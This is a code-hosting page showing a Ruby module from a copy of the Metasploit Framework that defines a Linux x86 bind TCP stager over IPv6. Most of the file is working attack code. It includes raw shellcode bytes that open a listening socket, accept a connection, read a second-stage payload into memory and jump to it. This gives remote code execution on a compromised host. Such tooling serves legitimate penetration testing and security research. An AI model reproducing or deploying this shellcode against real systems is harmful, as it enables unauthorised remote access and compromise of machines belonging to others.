PageRenderTime 47ms CodeModel.GetById 24ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb

https://bitbucket.org/jrossi/metasploit
Ruby | 46 lines | 30 code | 6 blank | 10 comment | 0 complexity | c488ab408ffe7429ad7ee19b08914567 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. ##
  2. # $Id$
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require 'msf/core'
  11. require 'msf/core/handler/bind_tcp'
  12. # Linux Bind TCP/IPv6 Stager
  13. module Metasploit3
  14. include Msf::Payload::Stager
  15. include Msf::Payload::Linux
  16. def self.handler_type_alias
  17. "bind_ipv6_tcp"
  18. end
  19. def initialize(info = {})
  20. super(merge_info(info,
  21. 'Name' => 'Bind TCP Stager (IPv6)',
  22. 'Version' => '$Revision$',
  23. 'Description' => 'Listen for a connection over IPv6',
  24. 'Author' => 'kris katterjohn',
  25. 'License' => MSF_LICENSE,
  26. 'Platform' => 'linux',
  27. 'Arch' => ARCH_X86,
  28. 'Handler' => Msf::Handler::BindTcp,
  29. 'Stager' => {
  30. 'Offsets' => { 'LPORT' => [ 0x18, 'n' ] },
  31. 'Payload' =>
  32. "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96" +
  33. "\x99\x52\x52\x52\x52\x52\x52\x66\x68\xbf\xbf\x66\x68\x0a\x00" +
  34. "\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\xb0" +
  35. "\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80" +
  36. "\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
  37. }
  38. ))
  39. end
  40. end